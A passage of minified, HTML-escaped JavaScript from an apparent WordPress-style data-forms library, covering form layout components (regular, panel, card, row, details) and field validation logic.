t=ide(e?.layout),o=(e.fields??[]).map(r=&gt;{if(typeof r==&quot;string&quot;)return{id:r,layout:t};let n=r.layout?ide(r.layout):t;return{id:r.id,layout:n,...!!r.label&amp;&amp;{label:r.label},...!!r.description&amp;&amp;{description:r.description},...&quot;children&quot;in r&amp;&amp;Array.isArray(r.children)&amp;&amp;{children:sde({fields:r.children,layout:Ar}).fields}}});return{layout:t,fields:o}}var kR=sde;var Gt=l(w(),1);function jRe({title:e}){return(0,Gt.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts-regular__header&quot;,gap:&quot;lg&quot;,children:(0,Gt.jsx)(De,{direction:&quot;row&quot;,align:&quot;center&quot;,children:(0,Gt.jsx)(L_.__experimentalHeading,{level:2,size:13,children:e})})})}function ade({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{fields:s}=(0,vR.useContext)(us),a=t.layout,c=(0,vR.useMemo)(()=&gt;({layout:Ar,fields:t.children?t.children:[]}),[t]);if(t.children)return(0,Gt.jsxs)(Gt.Fragment,{children:[!r&amp;&amp;t.label&amp;&amp;(0,Gt.jsx)(jRe,{title:t.label}),(0,Gt.jsx)(Ln,{data:e,form:c,onChange:o,validity:i?.children})]});let u=a.labelPosition,d=s.find(f=&gt;f.id===t.id);return!d||!d.Edit?null:u===&quot;side&quot;?(0,Gt.jsxs)(De,{direction:&quot;row&quot;,className:&quot;dataforms-layouts-regular__field&quot;,gap:&quot;sm&quot;,children:[(0,Gt.jsx)(&quot;div&quot;,{className:V(&quot;dataforms-layouts-regular__field-label&quot;,`dataforms-layouts-regular__field-label--label-position-${u}`),children:(0,Gt.jsx)(L_.BaseControl.VisualLabel,{children:d.label})}),(0,Gt.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field-control&quot;,children:d.readOnly===!0?(0,Gt.jsx)(d.render,{item:e,field:d}):(0,Gt.jsx)(d.Edit,{data:e,field:d,onChange:o,hideLabelFromVision:!0,markWhenOptional:n,validity:i},d.id)})]}):(0,Gt.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-regular__field&quot;,children:d.readOnly===!0?(0,Gt.jsx)(Gt.Fragment,{children:(0,Gt.jsxs)(Gt.Fragment,{children:[!r&amp;&amp;u!==&quot;none&quot;&amp;&amp;(0,Gt.jsx)(L_.BaseControl.VisualLabel,{children:d.label}),(0,Gt.jsx)(d.render,{item:e,field:d})]})}):(0,Gt.jsx)(d.Edit,{data:e,field:d,onChange:o,hideLabelFromVision:u===&quot;none&quot;?!0:r,markWhenOptional:n,validity:i})})}var tz=l(MV(),1),kp=l(A(),1),oz=l(N(),1),ia=l(R(),1),xR=l(Z(),1);var Sk=l(A(),1),yk=l(N(),1);var fde=l(Z(),1),mde=l(R(),1);function URe(e,t){return V(&quot;dataforms-layouts-panel__field-label&quot;,`dataforms-layouts-panel__field-label--label-position-${e}`,{&quot;has-error&quot;:t})}var lde=URe;var yR=l(A(),1);var N_=l(w(),1);function HRe(e,t,o){return e?(0,N_.jsx)(yR.Tooltip,{text:t,placement:&quot;top&quot;,children:(0,N_.jsxs)(&quot;span&quot;,{className:&quot;dataforms-layouts-panel__field-label-error-content&quot;,children:[(0,N_.jsx)(yR.Icon,{icon:Pf,size:16}),o]})}):o}var cde=HRe;function ude(e){if(!e)return;let t=Object.keys(e).filter(o=&gt;o!==&quot;children&quot;);for(let o of t){let r=e[o];if(r!==void 0&amp;&amp;r.type===&quot;invalid&quot;)return r.message?r.message:o===&quot;required&quot;?&quot;A required field is empty&quot;:&quot;Unidentified validation error&quot;}if(e.children)for(let o of Object.values(e.children)){let r=ude(o);if(r)return r}}var dde=ude;var gi=l(w(),1);function M_({data:e,field:t,fieldLabel:o,summaryFields:r,validity:n,touched:i,disabled:s,onClick:a,&quot;aria-expanded&quot;:c}){let{labelPosition:u,editVisibility:d}=t.layout,f=dde(n),m=i&amp;&amp;!!f,h=lde(u,m),p=cde(m,f,o),g=V(&quot;dataforms-layouts-panel__field-trigger&quot;,`dataforms-layouts-panel__field-trigger--label-${u}`,{&quot;is-disabled&quot;:s,&quot;dataforms-layouts-panel__field-trigger--edit-always&quot;:d===&quot;always&quot;}),b=(0,fde.useInstanceId)(M_,&quot;dataforms-layouts-panel__field-control&quot;),v=m?(0,yk.sprintf)((0,yk._x)(&quot;Edit %s (has errors)&quot;,&quot;field&quot;),o||&quot;&quot;):(0,yk.sprintf)((0,yk._x)(&quot;Edit %s&quot;,&quot;field&quot;),o||&quot;&quot;),k=(0,mde.useRef)(null);return(0,gi.jsxs)(&quot;div&quot;,{ref:k,className:g,onClick:s?void 0:()=&gt;{let x=k.current?.ownerDocument.defaultView?.getSelection();x&amp;&amp;x.toString().length&gt;0||a()},onKeyDown:s?void 0:x=&gt;{x.target===x.currentTarget&amp;&amp;(x.key===&quot;Enter&quot;||x.key===&quot; &quot;)&amp;&amp;(x.preventDefault(),a())},children:[u!==&quot;none&quot;&amp;&amp;(0,gi.jsx)(&quot;span&quot;,{className:h,children:p}),u===&quot;none&quot;&amp;&amp;m&amp;&amp;(0,gi.jsx)(Sk.Tooltip,{text:f,placement:&quot;top&quot;,children:(0,gi.jsx)(&quot;span&quot;,{className:&quot;dataforms-layouts-panel__field-label-error-content&quot;,children:(0,gi.jsx)(Sk.Icon,{icon:Pf,size:16})})}),(0,gi.jsx)(&quot;span&quot;,{id:`${b}`,className:&quot;dataforms-layouts-panel__field-control&quot;,children:r.length&gt;1?(0,gi.jsx)(&quot;span&quot;,{style:{display:&quot;flex&quot;,flexDirection:&quot;column&quot;,alignItems:&quot;flex-start&quot;,width:&quot;100%&quot;,gap:&quot;2px&quot;},children:r.map(x=&gt;(0,gi.jsx)(&quot;span&quot;,{style:{width:&quot;100%&quot;},children:(0,gi.jsx)(x.render,{item:e,field:x})},x.id))}):r.map(x=&gt;(0,gi.jsx)(x.render,{item:e,field:x},x.id))}),!s&amp;&amp;(0,gi.jsx)(Sk.Button,{className:&quot;dataforms-layouts-panel__field-trigger-icon&quot;,label:v,showTooltip:!1,icon:Of,size:&quot;small&quot;,&quot;aria-expanded&quot;:c,&quot;aria-haspopup&quot;:&quot;dialog&quot;,&quot;aria-describedby&quot;:`${b}`})]})}var pde=l(MV(),1),ez=l(yf(),1),ll=l(R(),1),sn=l(N(),1);function hde(e){return e?Object.values(e).every(t=&gt;Object.entries(t).every(([o,r])=&gt;o===&quot;children&quot;&amp;&amp;r&amp;&amp;typeof r==&quot;object&quot;?hde(r):r.type!==&quot;invalid&quot;&amp;&amp;r.type!==&quot;validating&quot;)):!0}function GRe(e,t){let o=kR(e);if(o.fields.length===0)return[];let r=new Map;t.forEach(s=&gt;{r.set(s.id,s)});function n(s){if(&quot;children&quot;in s&amp;&amp;Array.isArray(s.children)){let u=s.children.map(n).filter(f=&gt;f!==null);if(u.length===0)return null;let d=r.get(s.id);if(d){let[f]=A_([d]);return{id:s.id,children:u,field:f}}return{id:s.id,children:u}}let a=r.get(s.id);if(!a)return null;let[c]=A_([a]);return{id:s.id,children:[],field:c}}return o.fields.map(n).filter(s=&gt;s!==null)}function _k(e,t,o){if(e||(e={}),o.length===0)return e;let r={...e},n=r;for(let s=0;s&lt;o.length-1;s++){let a=o[s];n[a]||(n[a]={}),n[a]={...n[a]},n=n[a]}let i=o[o.length-1];return n[i]={...n[i]||{},...t},r}function gde(e,t,o){if(!e||t.length===0)return e;let r={...e},n=r;for(let a=0;a&lt;t.length-1;a++){let c=t[a];if(!n[c])return e;n[c]={...n[c]},n=n[c]}let i=t[t.length-1];if(!n[i])return e;let s={...n[i]};if(delete s[o],Object.keys(s).length===0?delete n[i]:n[i]=s,Object.keys(r).length!==0)return r}function WRe(e,t,o){let{elementsCounterRef:r,setFormValidity:n,path:i,item:s}=o,a=(r.current[t.id]||0)+1;r.current[t.id]=a,e.then(c=&gt;{if(a===r.current[t.id]){if(!Array.isArray(c)){n(u=&gt;_k(u,{elements:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Could not validate elements.&quot;)}},[...i,t.id]));return}t.field?.isValid.elements&amp;&amp;!t.field.isValid.elements.validate(s,{...t.field,elements:c})?n(u=&gt;_k(u,{elements:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value must be one of the elements.&quot;)}},[...i,t.id])):n(u=&gt;gde(u,[...i,t.id],&quot;elements&quot;))}}).catch(c=&gt;{if(a!==r.current[t.id])return;let u;c instanceof Error?u=c.message:u=String(c)||(0,sn.__)(&quot;Unknown error when running elements validation asynchronously.&quot;),n(d=&gt;_k(d,{elements:{type:&quot;invalid&quot;,message:u}},[...i,t.id]))})}function $Re(e,t,o){let{customCounterRef:r,setFormValidity:n,path:i}=o,s=(r.current[t.id]||0)+1;r.current[t.id]=s,e.then(a=&gt;{if(s===r.current[t.id]){if(a===null){n(c=&gt;gde(c,[...i,t.id],&quot;custom&quot;));return}if(typeof a==&quot;string&quot;){n(c=&gt;_k(c,{custom:{type:&quot;invalid&quot;,message:a}},[...i,t.id]));return}n(c=&gt;_k(c,{custom:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Validation could not be processed.&quot;)}},[...i,t.id]))}}).catch(a=&gt;{if(s!==r.current[t.id])return;let c;a instanceof Error?c=a.message:c=String(a)||(0,sn.__)(&quot;Unknown error when running custom validation asynchronously.&quot;),n(u=&gt;_k(u,{custom:{type:&quot;invalid&quot;,message:c}},[...i,t.id]))})}function bde(e,t,o){if(t.field?.isValid.required&amp;&amp;!t.field.isValid.required.validate(e,t.field))return{required:{type:&quot;invalid&quot;}};if(t.field?.isValid.pattern&amp;&amp;!t.field.isValid.pattern.validate(e,t.field))return{pattern:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value does not match the required pattern.&quot;)}};if(t.field?.isValid.min&amp;&amp;!t.field.isValid.min.validate(e,t.field))return{min:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value is below the minimum.&quot;)}};if(t.field?.isValid.max&amp;&amp;!t.field.isValid.max.validate(e,t.field))return{max:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value is above the maximum.&quot;)}};if(t.field?.isValid.minLength&amp;&amp;!t.field.isValid.minLength.validate(e,t.field))return{minLength:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value is too short.&quot;)}};if(t.field?.isValid.maxLength&amp;&amp;!t.field.isValid.maxLength.validate(e,t.field))return{maxLength:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value is too long.&quot;)}};if(t.field?.isValid.elements&amp;&amp;t.field.hasElements&amp;&amp;!t.field.getElements&amp;&amp;Array.isArray(t.field.elements)&amp;&amp;!t.field.isValid.elements.validate(e,t.field))return{elements:{type:&quot;invalid&quot;,message:(0,sn.__)(&quot;Value must be one of the elements.&quot;)}};let r;if(t.field&amp;&amp;t.field.isValid.custom)try{let i=t.field.getValue({item:e});r=t.field.isValid.custom((0,pde.default)(e,t.field.setValue({item:e,value:i})),t.field)}catch(i){let s;return i instanceof Error?s=i.message:s=String(i)||(0,sn.__)(&quot;Unknown error when running custom validation.&quot;),{custom:{type:&quot;invalid&quot;,message:s}}}if(typeof r==&quot;string&quot;)return{custom:{type:&quot;invalid&quot;,message:r}};let n={};if(t.field&amp;&amp;t.field.isValid.elements&amp;&amp;t.field.hasElements&amp;&amp;typeof t.field.getElements==&quot;function&quot;&amp;&amp;(WRe(t.field.getElements(),t,o),n.elements={type:&quot;validating&quot;,message:(0,sn.__)(&quot;Validating\u2026&quot;)}),r instanceof Promise&amp;&amp;($Re(r,t,o),n.custom={type:&quot;validating&quot;,message:(0,sn.__)(&quot;Validating\u2026&quot;)}),Object.keys(n).length&gt;0)return n;if(t.children.length&gt;0){let i={};t.children.forEach(a=&gt;{i[a.id]=bde(e,a,{...o,path:[...o.path,t.id,&quot;children&quot;]})});let s={};return Object.entries(i).forEach(([a,c])=&gt;{c!==void 0&amp;&amp;(s[a]=c)}),Object.keys(s).length===0?void 0:{children:s}}}function kde(e,t){let o=e?.field?.getValue({item:t});if(e.children.length===0)return o;let r=e.children.map(n=&gt;kde(n,t));return r?{value:o,children:r}:o}function KRe(e,t,o){let[r,n]=(0,ll.useState)(),i=(0,ll.useRef)({}),s=(0,ll.useRef)({}),a=(0,ll.useRef)({}),c=(0,ll.useCallback)(()=&gt;{let u={customCounterRef:i,elementsCounterRef:s,setFormValidity:n,path:[],item:e},d=GRe(o,t);if(d.length===0){n(void 0);return}let f={},m=[];d.forEach(h=&gt;{let p=kde(h,e);if(a.current.hasOwnProperty(h.id)&amp;&amp;(0,ez.default)(a.current[h.id],p)){m.push(h.id);return}a.current[h.id]=p;let g=bde(e,h,u);g!==void 0&amp;&amp;(f[h.id]=g)}),n(h=&gt;{let p={...h,...f},g=[...m,...Object.keys(f)];return Object.keys(p).forEach(v=&gt;{p&amp;&amp;!g.includes(v)&amp;&amp;delete p[v]}),Object.keys(p).length===0&amp;&amp;(p=void 0),(0,ez.default)(h,p)?h:p})},[e,t,o]);return(0,ll.useEffect)(()=&gt;{c()},[c]),{validity:r,isValid:hde(r)}}var vde=KRe;var yde=l(R(),1);function of(e,t){(0,yde.useEffect)(()=&gt;{t&amp;&amp;e.current&amp;&amp;e.current.querySelectorAll(&quot;input, textarea, select&quot;).forEach(r=&gt;{r.reportValidity()})},[t,e])}var Sde=l(R(),1);function YRe(e){return Array.isArray(e)?e.map(t=&gt;typeof t==&quot;string&quot;?t:t.id):[]}var SR=(e,t)=&gt;Array.isArray(e)&amp;&amp;e.length&gt;0?YRe(e).map(r=&gt;t.find(n=&gt;n.id===r)).filter(r=&gt;r!==void 0):[];var qRe=(e,t)=&gt;{let o=t.find(r=&gt;r.id===e.id);return o||t.find(r=&gt;{if(e.children){let n=e.children.filter(i=&gt;!i.children);return n.length===0?!1:r.id===n[0].id}return r.id===e.id})};function ZRe(e){let{fields:t}=(0,Sde.useContext)(us),o=e.layout,r=SR(o.summary,t),n=qRe(e,t),i=e.children?e.label:n?.label;return r.length===0?{summaryFields:n?[n]:[],fieldDefinition:n,fieldLabel:i}:{summaryFields:r,fieldDefinition:n,fieldLabel:i}}var _R=ZRe;var an=l(w(),1);function XRe({data:e,field:t,onChange:o,fieldLabel:r,onClose:n,touched:i}){let{fields:s}=(0,ia.useContext)(us),[a,c]=(0,ia.useState)({}),u=(0,ia.useMemo)(()=&gt;(0,tz.default)(e,a,{arrayMerge:(k,y)=&gt;y}),[e,a]),d=(0,ia.useMemo)(()=&gt;({layout:Ar,fields:t.children?t.children:[{id:t.id,layout:Ar}]}),[t]),f=s.map(k=&gt;({...k,Edit:k.Edit===null?void 0:k.Edit,isValid:{required:k.isValid.required?.constraint,elements:k.isValid.elements?.constraint,min:k.isValid.min?.constraint,max:k.isValid.max?.constraint,pattern:k.isValid.pattern?.constraint,minLength:k.isValid.minLength?.constraint,maxLength:k.isValid.maxLength?.constraint}})),{validity:m}=vde(u,f,d),h=()=&gt;{o(a),n()},p=k=&gt;{c(y=&gt;(0,tz.default)(y,k,{arrayMerge:(S,x)=&gt;x}))},g=(0,xR.useFocusOnMount)(&quot;firstInputElement&quot;),b=(0,ia.useRef)(null),v=(0,xR.useMergeRefs)([g,b]);return of(b,i),(0,an.jsxs)(kp.Modal,{className:&quot;dataforms-layouts-panel__modal&quot;,onRequestClose:n,isFullScreen:!1,title:r,size:&quot;medium&quot;,children:[(0,an.jsx)(&quot;div&quot;,{ref:v,children:(0,an.jsx)(Ln,{data:u,form:d,onChange:p,validity:m,children:(k,y,S,x)=&gt;(0,an.jsx)(k,{data:u,field:y,onChange:p,hideLabelFromVision:d.fields.length&lt;2,markWhenOptional:x,validity:S},y.id)})}),(0,an.jsxs)(De,{direction:&quot;row&quot;,className:&quot;dataforms-layouts-panel__modal-footer&quot;,gap:&quot;md&quot;,children:[(0,an.jsx)(kp.__experimentalSpacer,{style:{flex:1}}),(0,an.jsx)(kp.Button,{variant:&quot;tertiary&quot;,onClick:n,__next40pxDefaultSize:!0,children:(0,oz.__)(&quot;Cancel&quot;)}),(0,an.jsx)(kp.Button,{variant:&quot;primary&quot;,onClick:h,__next40pxDefaultSize:!0,children:(0,oz.__)(&quot;Apply&quot;)})]})]})}function QRe({data:e,field:t,onChange:o,validity:r}){let[n,i]=(0,ia.useState)(!1),[s,a]=(0,ia.useState)(!1),{fieldDefinition:c,fieldLabel:u,summaryFields:d}=_R(t);if(!c)return null;let f=()=&gt;{a(!1),i(!0)};return(0,an.jsxs)(an.Fragment,{children:[(0,an.jsx)(M_,{data:e,field:t,fieldLabel:u,summaryFields:d,validity:r,touched:n,disabled:c.readOnly===!0,onClick:()=&gt;a(!0),&quot;aria-expanded&quot;:s}),s&amp;&amp;(0,an.jsx)(XRe,{data:e,field:t,onChange:o,fieldLabel:u??&quot;&quot;,onClose:f,touched:n})]})}var _de=QRe;var rf=l(A(),1),xde=l(N(),1),Rc=l(R(),1);var wde=l(Z(),1);var Lr=l(w(),1);function JRe({title:e,onClose:t}){return(0,Lr.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts-panel__dropdown-header&quot;,gap:&quot;lg&quot;,children:(0,Lr.jsxs)(De,{direction:&quot;row&quot;,gap:&quot;sm&quot;,align:&quot;center&quot;,children:[e&amp;&amp;(0,Lr.jsx)(rf.__experimentalHeading,{level:2,size:13,children:e}),(0,Lr.jsx)(rf.__experimentalSpacer,{style:{flex:1}}),t&amp;&amp;(0,Lr.jsx)(rf.Button,{label:(0,xde.__)(&quot;Close&quot;),icon:wf,onClick:t,size:&quot;small&quot;})]})})}function eOe({touched:e,children:t}){let o=(0,Rc.useRef)(null);return of(o,e),(0,Lr.jsx)(&quot;div&quot;,{ref:o,children:t})}function tOe({data:e,field:t,onChange:o,validity:r}){let[n,i]=(0,Rc.useState)(!1),[s,a]=(0,Rc.useState)(null),c=(0,Rc.useMemo)(()=&gt;({anchor:s,placement:&quot;left-start&quot;,offset:36,shift:!0}),[s]),[u,d]=(0,wde.__experimentalUseDialog)({focusOnMount:&quot;firstInputElement&quot;}),f=(0,Rc.useMemo)(()=&gt;({layout:Ar,fields:t.children?t.children:[{id:t.id,layout:Ar}]}),[t]),m=(0,Rc.useMemo)(()=&gt;{if(r!==void 0)return t.children?r?.children:{[t.id]:r}},[r,t]),{fieldDefinition:h,fieldLabel:p,summaryFields:g}=_R(t);return h?(0,Lr.jsx)(&quot;div&quot;,{ref:a,className:&quot;dataforms-layouts-panel__field-dropdown-anchor&quot;,children:(0,Lr.jsx)(rf.Dropdown,{contentClassName:&quot;dataforms-layouts-panel__field-dropdown&quot;,popoverProps:c,focusOnMount:!1,onToggle:b=&gt;{b||i(!0)},renderToggle:({isOpen:b,onToggle:v})=&gt;(0,Lr.jsx)(M_,{data:e,field:t,fieldLabel:p,summaryFields:g,validity:r,touched:n,disabled:h.readOnly===!0,onClick:v,&quot;aria-expanded&quot;:b}),renderContent:({onClose:b})=&gt;(0,Lr.jsx)(eOe,{touched:n,children:(0,Lr.jsxs)(&quot;div&quot;,{ref:u,...d,children:[(0,Lr.jsx)(JRe,{title:p,onClose:b}),(0,Lr.jsx)(Ln,{data:e,form:f,onChange:o,validity:m,children:(v,k,y,S)=&gt;(0,Lr.jsx)(v,{data:e,field:k,onChange:o,hideLabelFromVision:(f?.fields??[]).length&lt;2,markWhenOptional:S,validity:y},k.id)})]})})})}):null}var Cde=tOe;var rz=l(w(),1);function Bde({data:e,field:t,onChange:o,validity:r}){return t.layout.openAs===&quot;modal&quot;?(0,rz.jsx)(_de,{data:e,field:t,onChange:o,validity:r}):(0,rz.jsx)(Cde,{data:e,field:t,onChange:o,validity:r})}var nf=l(A(),1),Ide=l(Z(),1),Nn=l(R(),1),nz=l(N(),1);var wR=l(N(),1),Ede=l(w(),1);function Tde(e){if(!e)return 0;let t=0,o=Object.keys(e).filter(r=&gt;r!==&quot;children&quot;);for(let r of o)e[r]?.type===&quot;invalid&quot;&amp;&amp;t++;if(e.children)for(let r of Object.values(e.children))t+=Tde(r);return t}function CR({validity:e}){let t=Tde(e);return t===0?null:(0,Ede.jsx)(L4,{intent:&quot;high&quot;,children:(0,wR.sprintf)((0,wR._n)(&quot;%d field needs attention&quot;,&quot;%d fields need attention&quot;,t),t)})}var vr=l(w(),1);function oOe(e,t,o){if(!t||Array.isArray(t)&amp;&amp;t.length===0)return!1;let n=(Array.isArray(t)?t:[t]).find(i=&gt;typeof i==&quot;string&quot;?i===e.id:typeof i==&quot;object&quot;&amp;&amp;&quot;id&quot;in i?i.id===e.id:!1);return n?typeof n==&quot;string&quot;?!0:typeof n==&quot;object&quot;&amp;&amp;&quot;visibility&quot;in n?n.visibility===&quot;always&quot;||n.visibility===&quot;when-collapsed&quot;&amp;&amp;!o:!0:!1}function iz({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let{fields:s}=(0,Nn.useContext)(us),a=t.layout,c=(0,Nn.useRef)(null),u=(0,Ide.useInstanceId)(iz,&quot;dataforms-layouts-card-card-body&quot;),d=(0,Nn.useMemo)(()=&gt;({layout:Ar,fields:t.children??[]}),[t]),{isOpened:f,isCollapsible:m}=a,[h,p]=(0,Nn.useState)(f),[g,b]=(0,Nn.useState)(!1);(0,Nn.useEffect)(()=&gt;{p(f)},[f]);let v=(0,Nn.useCallback)(()=&gt;{p(T=&gt;(T&amp;&amp;b(!0),!T))},[]),k=m?h:!0,y=(0,Nn.useCallback)(()=&gt;{b(!0)},[b]);of(c,k&amp;&amp;g);let x=SR(a.summary,s).filter(T=&gt;oOe(T,a.summary,k)),C=g&amp;&amp;a.isCollapsible?(0,vr.jsx)(CR,{validity:i}):null,B={blockStart:&quot;medium&quot;,blockEnd:&quot;medium&quot;,inlineStart:&quot;medium&quot;,inlineEnd:&quot;medium&quot;},I=t.label,P,E;if(t.children)P=!!I&amp;&amp;a.withHeader,E=(0,vr.jsxs)(vr.Fragment,{children:[t.description&amp;&amp;(0,vr.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-card__field-description&quot;,children:t.description}),(0,vr.jsx)(Ln,{data:e,form:d,onChange:o,validity:i?.children})]});else{let T=s.find(D=&gt;D.id===t.id);if(!T||!T.Edit)return null;let O=vp(&quot;regular&quot;)?.component;if(!O)return null;I=T.label,P=!!I&amp;&amp;a.withHeader,E=(0,vr.jsx)(O,{data:e,field:t,onChange:o,hideLabelFromVision:r||P,markWhenOptional:n,validity:i})}let L={blockStart:P?&quot;none&quot;:&quot;medium&quot;,blockEnd:&quot;medium&quot;,inlineStart:&quot;medium&quot;,inlineEnd:&quot;medium&quot;};return(0,vr.jsxs)(nf.Card,{className:&quot;dataforms-layouts-card__field&quot;,size:B,children:[P&amp;&amp;(0,vr.jsxs)(nf.CardHeader,{className:&quot;dataforms-layouts-card__field-header&quot;,onClick:m?v:void 0,style:{cursor:m?&quot;pointer&quot;:void 0},isBorderless:!0,children:[(0,vr.jsxs)(&quot;div&quot;,{style:{height:m?void 0:&quot;40px&quot;,width:&quot;100%&quot;,display:&quot;flex&quot;,justifyContent:&quot;space-between&quot;,alignItems:&quot;center&quot;},children:[(0,vr.jsx)(&quot;span&quot;,{className:&quot;dataforms-layouts-card__field-header-label&quot;,children:I}),C,x.length&gt;0&amp;&amp;a.withHeader&amp;&amp;(0,vr.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-card__field-summary&quot;,children:x.map(T=&gt;(0,vr.jsx)(T.render,{item:e,field:T},T.id))})]}),m&amp;&amp;(0,vr.jsx)(nf.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,icon:k?xf:zn,&quot;aria-expanded&quot;:k,&quot;aria-controls&quot;:u,&quot;aria-label&quot;:k?(0,nz.__)(&quot;Collapse&quot;):(0,nz.__)(&quot;Expand&quot;)})]}),(k||!P)&amp;&amp;(0,vr.jsx)(nf.CardBody,{id:u,size:L,className:&quot;dataforms-layouts-card__field-control&quot;,ref:c,onBlur:y,children:E})]})}var Pde=l(A(),1);var sr=l(w(),1);function rOe({title:e}){return(0,sr.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts-row__header&quot;,gap:&quot;lg&quot;,children:(0,sr.jsx)(De,{direction:&quot;row&quot;,align:&quot;center&quot;,children:(0,sr.jsx)(Pde.__experimentalHeading,{level:2,size:13,children:e})})})}var nOe=({children:e})=&gt;(0,sr.jsx)(sr.Fragment,{children:e});function Rde({data:e,field:t,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:i}){let s=t.layout;if(t.children){let c={layout:Ar,fields:t.children};return(0,sr.jsxs)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field&quot;,children:[!r&amp;&amp;t.label&amp;&amp;(0,sr.jsx)(rOe,{title:t.label}),(0,sr.jsx)(De,{direction:&quot;row&quot;,align:s.alignment,gap:&quot;lg&quot;,children:(0,sr.jsx)(Ln,{data:e,form:c,onChange:o,validity:i?.children,as:nOe,children:(u,d,f)=&gt;(0,sr.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field-control&quot;,style:s.styles[d.id],children:(0,sr.jsx)(u,{data:e,field:d,onChange:o,hideLabelFromVision:r,markWhenOptional:n,validity:f})},d.id)})})]})}let a=vp(&quot;regular&quot;)?.component;return a?(0,sr.jsx)(sr.Fragment,{children:(0,sr.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field-control&quot;,children:(0,sr.jsx)(a,{data:e,field:t,onChange:o,markWhenOptional:n,validity:i})})}):null}var Mn=l(R(),1),Ode=l(N(),1);var Oc=l(w(),1);function Ade({data:e,field:t,onChange:o,validity:r}){let{fields:n}=(0,Mn.useContext)(us),i=(0,Mn.useRef)(null),s=(0,Mn.useRef)(null),[a,c]=(0,Mn.useState)(!1),[u,d]=(0,Mn.useState)(!1),f=(0,Mn.useMemo)(()=&gt;({layout:Ar,fields:t.children??[]}),[t]);(0,Mn.useEffect)(()=&gt;{let b=i.current;if(!b)return;let v=()=&gt;{let k=b.open;k||c(!0),d(k)};return b.addEventListener(&quot;toggle&quot;,v),()=&gt;{b.removeEventListener(&quot;toggle&quot;,v)}},[]),of(s,u&amp;&amp;a);let m=(0,Mn.useCallback)(()=&gt;{c(!0)},[]);if(!t.children)return null;let h=t.layout.summary??&quot;&quot;,p=h?n.find(b=&gt;b.id===h):void 0,g;return p&amp;&amp;p.render?g=(0,Oc.jsx)(p.render,{item:e,field:p}):g=t.label||(0,Ode.__)(&quot;More details&quot;),(0,Oc.jsxs)(&quot;details&quot;,{ref:i,className:&quot;dataforms-layouts-details__details&quot;,children:[(0,Oc.jsx)(&quot;summary&quot;,{className:&quot;dataforms-layouts-details__summary&quot;,children:(0,Oc.jsxs)(De,{direction:&quot;row&quot;,align:&quot;center&quot;,gap:&quot;md&quot;,className:&quot;dataforms-layouts-details__summary-content&quot;,children:[g,a&amp;&amp;(0,Oc.jsx)(CR,{validity:r})]})}),(0,Oc.jsx)(&quot;div&quot;,{ref:s,className:&quot;dataforms-layouts-details__content&quot;,onBlur:m,children:(0,Oc.jsx)(Ln,{data:e,form:f,onChange:o,validity:r?.children})})]})}var yp=l(w(),1),iOe=[{type:&quot;regular&quot;,component:ade,wrapper:({children:e})=&gt;(0,yp.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;lg&quot;,children:e})},{type:&quot;panel&quot;,component:Bde,wrapper:({children:e})=&gt;(0,yp.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;md&quot;,children:e})},{type:&quot;card&quot;,component:iz,wrapper:({children:e})=&gt;(0,yp.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;xl&quot;,children:e})},{type:&quot;row&quot;,component:Rde,wrapper:({children:e,layout:t})=&gt;(0,yp.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;lg&quot;,children:(0,yp.jsx)(&quot;div&quot;,{className:&quot;dataforms-layouts-row__field&quot;,children:(0,yp.jsx)(De,{direction:&quot;row&quot;,gap:&quot;lg&quot;,align:t.alignment,children:e})})})},{type:&quot;details&quot;,component:Ade}];function vp(e){return iOe.find(t=&gt;t.type===e)}var BR=l(w(),1),sOe=({children:e})=&gt;(0,BR.jsx)(De,{direction:&quot;column&quot;,className:&quot;dataforms-layouts__wrapper&quot;,gap:&quot;lg&quot;,children:e});function Ln({data:e,form:t,onChange:o,validity:r,children:n,as:i}){let{fields:s}=(0,ER.useContext)(us),a=(0,ER.useMemo)(()=&gt;{let d=s.filter(m=&gt;!!m.isValid?.required).length,f=s.length-d;return d&gt;f},[s]);function c(d){return s.find(f=&gt;f.id===d.id)}let u=i??vp(t.layout.type)?.wrapper??sOe;return(0,BR.jsx)(u,{layout:t.layout,children:t.fields.map(d=&gt;{let f=vp(d.layout.type)?.component;if(!f)return null;let m=d.children?void 0:c(d);return m&amp;&amp;m.isVisible&amp;&amp;!m.isVisible(e)?null:n?n(f,d,r?.[d.id],a):(0,BR.jsx)(f,{data:e,field:d,onChange:o,markWhenOptional:a,validity:r?.[d.id]},d.id)})})}var az=l(w(),1);function D_({data:e,form:t,fields:o,onChange:r,validity:n}){let i=(0,sz.useMemo)(()=&gt;kR(t),[t]),s=(0,sz.useMemo)(()=&gt;A_(o),[o]);return t.fields?(0,az.jsx)(nde,{fields:s,children:(0,az.jsx)(Ln,{data:e,form:i,onChange:r,validity:n})}):null}var sf=l(R(),1),Kde=l(N(),1);var wk=l(A(),1);var lz=l(N(),1);var Lde=l(Z(),1);function 